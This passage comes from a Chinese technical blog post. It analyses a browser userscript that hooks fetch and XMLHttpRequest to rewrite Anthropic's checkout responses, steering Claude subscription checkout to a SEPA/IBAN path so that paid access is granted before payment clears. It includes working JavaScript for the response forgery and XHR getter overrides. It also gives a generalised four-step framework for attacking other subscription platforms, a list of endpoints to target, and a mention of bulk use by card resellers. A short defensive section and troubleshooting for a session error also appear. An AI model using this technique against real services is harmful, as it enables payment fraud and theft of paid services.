&lt;p&gt;先发后改的策略完美回避了这个问题：服务端日志里看到了正常的 GET 请求、正常的 200 响应，一切如常。篡改发生在浏览器内部，从 HTTPS 加密通道往外看什么都没变。&lt;/p&gt;
&lt;h3 id="34-response-重构细节决定成败"&gt;3.4 Response 重构——细节决定成败
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;createMockResponse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;originalResponse&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Headers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;originalResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;content-length&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;content-encoding&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;etag&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;content-md5&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;content-type&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;application/json; charset=utf-8&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;content-length&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;MOCK_LENGTH&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;cache-control&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;no-store&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;MOCK_BODY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;statusText&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;OK&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;逐个分析删掉的响应头：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;content-encoding&lt;/code&gt;&lt;/strong&gt;：原始响应大概率是 gzip 或 br 压缩的。我们构造的 JSON 是明文，如果不删这个头，浏览器会拿着明文 JSON 去做 gzip 解压——直接炸。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;content-length&lt;/code&gt;&lt;/strong&gt;：原始响应体大小和我们构造的不一样，不改的话浏览器会截断或报错。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;etag&lt;/code&gt; / &lt;code&gt;content-md5&lt;/code&gt;&lt;/strong&gt;：完整性校验头。原始响应的哈希和我们篡改后的内容对不上。虽然浏览器通常不强制校验这些头，但删掉更保险——万一前端代码拿这些值做了缓存校验呢。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;cache-control: no-store&lt;/code&gt;&lt;/strong&gt;：强制不缓存。如果浏览器缓存了我们的假响应，下次刷新页面不走 Hook 了就拿到缓存的假数据——反而弄巧成拙。反过来，如果缓存了之前的真响应，前端可能直接用缓存不发请求，Hook 就没机会触发。&lt;code&gt;no-store&lt;/code&gt; 确保每次都走网络请求，每次都经过 Hook。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="35-xhr-双通道保险"&gt;3.5 XHR 双通道保险
&lt;/h3&gt;&lt;p&gt;脚本不光 Hook 了 &lt;code&gt;fetch&lt;/code&gt;，还对 &lt;code&gt;XMLHttpRequest&lt;/code&gt; 做了一套完整的拦截——覆盖了 &lt;code&gt;responseText&lt;/code&gt;、&lt;code&gt;response&lt;/code&gt;、&lt;code&gt;status&lt;/code&gt;、&lt;code&gt;statusText&lt;/code&gt;、&lt;code&gt;getResponseHeader&lt;/code&gt;、&lt;code&gt;getAllResponseHeaders&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;为什么要两套？现代 Web 应用大多用 &lt;code&gt;fetch&lt;/code&gt;，但你无法保证 Anthropic 的前端代码——或者它依赖的第三方库——不会在某些场景下 fallback 到 XHR。少 Hook 一个通道就是留了一条漏网之鱼。&lt;/p&gt;
&lt;p&gt;XHR 的 Hook 方式也值得一看：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;replaceXhrGetter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;propertyName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;replacement&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;descriptor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getOwnPropertyDescriptor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;XhrPrototype&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;propertyName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;descriptor&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;descriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;function&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;descriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;configurable&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`[Cassia Mock] 无法接管 XHR.&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;propertyName&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nativeGetter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;descriptor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;defineProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;XhrPrototype&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;propertyName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;descriptor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;getMatchedXhr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;nativeGetter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;replacement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;nativeGetter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;用 &lt;code&gt;Object.getOwnPropertyDescriptor&lt;/code&gt; 先取原始的 property descriptor，再通过 &lt;code&gt;Object.defineProperty&lt;/code&gt; 精确替换 getter。比直接赋值靠谱得多——它保留了原始 descriptor 的所有属性（&lt;code&gt;configurable&lt;/code&gt;、&lt;code&gt;enumerable&lt;/code&gt;），而且会先检查 &lt;code&gt;configurable&lt;/code&gt; 是否为 &lt;code&gt;false&lt;/code&gt;，如果属性被冻结就优雅降级而不是静默失败。&lt;/p&gt;
&lt;h3 id="36-状态指示器"&gt;3.6 状态指示器
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;badge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;div&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;badge&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;cassia-mock-badge&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;badge&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Cassia Mock ON&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;页面右下角一个绿色小角标，确认脚本已激活。实际攻击中这是个安慰剂——真正的确认是看支付页面有没有从信用卡变成 IBAN 输入框。但对于批量操作的卡商来说，这个视觉反馈能提高操作效率。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="四横向迁移这不是一个漏洞是一类漏洞"&gt;四、横向迁移：这不是一个漏洞，是一类漏洞
&lt;/h2&gt;&lt;p&gt;分析完焚决，我们跳出来看一个更有价值的问题：&lt;strong&gt;这类攻击是可复用的。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="漏洞本质"&gt;漏洞本质
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;客户端信任边界缺失&lt;/strong&gt;：服务端将支付流的决策权——“这个用户该走哪条支付通道”——交给了一个客户端可以任意篡改的 API 响应。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;这不是孤例。回顾我们之前分析过的一系列支付漏洞，它们共享同一个底层模式：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;漏洞&lt;/th&gt;
 &lt;th&gt;被篡改的对象&lt;/th&gt;
 &lt;th&gt;信任边界裂缝&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;焚决（本例）&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;checkout_capabilities&lt;/code&gt; 响应&lt;/td&gt;
 &lt;td&gt;前端信任 API 返回值决定支付通道&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GPT Plus offerToken 注入&lt;/td&gt;
 &lt;td&gt;Google Play Billing 内存中的 offerToken&lt;/td&gt;
 &lt;td&gt;服务端不校验 token 与账号资格的绑定关系&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GPT iOS 收据复用&lt;/td&gt;
 &lt;td&gt;Base64 App Store 收据&lt;/td&gt;
 &lt;td&gt;服务端不验证收据与提交者账号的对应关系&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Cloudflare Pro 竞态&lt;/td&gt;
 &lt;td&gt;并发请求的状态窗口&lt;/td&gt;
 &lt;td&gt;权限发放与支付确认之间存在可利用的时序差&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;RevenueCat 回调劫持&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;fetch_token&lt;/code&gt; 跨账号提交&lt;/td&gt;
 &lt;td&gt;第三方回调接口缺乏调用方鉴权&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="通用攻击模型"&gt;通用攻击模型
&lt;/h3&gt;&lt;p&gt;把这些漏洞抽象一下，可以提取出一个四步攻击框架：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. 定位决策接口
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 找到决定支付流 / 功能开关 / 定价计算的 API 端点
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 信号关键词：checkout_capabilities, payment_methods, available_plans,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; eligible_promotions, feature_flags, entitlements
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. 注入篡改数据
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 通过油猴脚本（Web）、MITM（移动端）、Frida Hook（Native）等
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 方式替换响应内容
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. 选择确认延迟最长的路径
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; SEPA 直接借记 &amp;gt; 银行转账 &amp;gt; PayPal &amp;gt; 信用卡
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 延迟越长，时间窗口越大
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4. 利用&amp;#34;前端校验 + 后端真空&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 前端校验通过后，后端在异步确认完成前不暂停服务发放
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;这个框架可以复用到任何订阅制平台&lt;/strong&gt;，只要目标满足：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;支付方式的选择依赖客户端可控状态&lt;/li&gt;
&lt;li&gt;存在至少一种异步确认的支付方式&lt;/li&gt;
&lt;li&gt;“服务开通&amp;quot;发生在&amp;quot;支付确认&amp;quot;之前&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在漏洞挖掘实战中，打开 DevTools Network 面板，搜索 &lt;code&gt;checkout&lt;/code&gt;、&lt;code&gt;payment&lt;/code&gt;、&lt;code&gt;billing&lt;/code&gt;、&lt;code&gt;plan&lt;/code&gt;、&lt;code&gt;subscription&lt;/code&gt; 这些关键词，找到所有影响支付逻辑的端点，逐个测试响应注入——这就是最直接的攻击面枚举方式。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="五防御视角"&gt;五、防御视角
&lt;/h2&gt;&lt;h3 id="给服务端开发者"&gt;给服务端开发者
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;支付流决策必须服务端闭环&lt;/strong&gt;。&lt;code&gt;checkout_flow&lt;/code&gt; 的值应该在后端根据用户地区、账号状态、风控信号独立计算，前端只是一个渲染器——它不应该有能力选择自己走哪条支付通道。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异步支付必须延迟开通&lt;/strong&gt;。SEPA、银行转账这类异步支付方式，在银行返回扣款成功确认之前，不应该开通任何付费功能。可以给用户一个&amp;quot;支付处理中&amp;quot;的状态，等清算完成后再激活。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API 响应签名&lt;/strong&gt;。对关键 API 响应做 HMAC 签名（密钥存服务端），前端消费前验签。虽然不能根治（攻击者可以 Hook 验签逻辑），但大幅提高了攻击门槛——从改一个 JSON 字段变成了还得逆向验签实现。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IBAN 实时银行验证&lt;/strong&gt;。接入 SWIFT gpi 或各国央行的 IBAN 验证服务（如德国 Bundesbank 的 IBAN 验证接口），在提交时做实时的账户存在性校验，而不是只靠本地 MOD 97。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="给安全研究者"&gt;给安全研究者
&lt;/h3&gt;&lt;p&gt;这类漏洞的攻击面很清晰——任何一个返回了影响支付逻辑数据的 API 端点，且这个数据可以被前端篡改，都是潜在的攻击入口。&lt;/p&gt;
&lt;p&gt;一些高价值的&amp;quot;信号接口”：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;checkout_capabilities&lt;/code&gt; / &lt;code&gt;payment_methods&lt;/code&gt; / &lt;code&gt;available_plans&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;region&lt;/code&gt; / &lt;code&gt;locale&lt;/code&gt; / &lt;code&gt;country_detection&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eligible_promotions&lt;/code&gt; / &lt;code&gt;offers&lt;/code&gt; / &lt;code&gt;discounts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;feature_flags&lt;/code&gt; / &lt;code&gt;entitlements&lt;/code&gt; / &lt;code&gt;subscription_tiers&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="六实战翻车现场验证失败并清除旧会话"&gt;六、实战翻车现场：“验证失败并清除旧会话”
&lt;/h2&gt;&lt;p&gt;讲完了攻击原理和防御思路，再来看一个真实场景——&lt;strong&gt;焚决并不是每次都能成功的&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;在实际操作中（不管是焚决的 SEPA 路径还是正常的 Stripe 信用卡路径），你大概率会遇到这样一幕：&lt;/p&gt;
&lt;p&gt;&lt;img alt="Claude支付失败截图" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px"&gt;&lt;/p&gt;
&lt;p&gt;两条红色报错同时弹出来：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;“未提交付款：发生了意外错误。请检查表单后重试。”&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;“验证失败并清除旧会话”&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;第一次看到这个，很多人会以为是卡的问题、网络的问题、脚本的问题。其实都不是——&lt;strong&gt;这是会话状态失效的问题&lt;/strong&gt;，而且它能帮我们理解 Anthropic 的支付架构到底是怎么做验证的。&lt;/p&gt;
&lt;h3 id="为什么会出现这个错误"&gt;为什么会出现这个错误？
&lt;/h3&gt;&lt;p&gt;两条错误同时出现，意味着&lt;strong&gt;会话死在了支付提交的瞬间&lt;/strong&gt;。理解这一点需要知道 Claude 支付提交时后端做了什么：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;用户点击&amp;#34;提交支付&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;前端将 Stripe token / IBAN 提交到 Anthropic 后端
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;后端第一件事：校验当前会话（session）是否有效
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;会话失效 → 返回&amp;#34;验证失败&amp;#34; → 前端清除旧 session → 支付自然失败
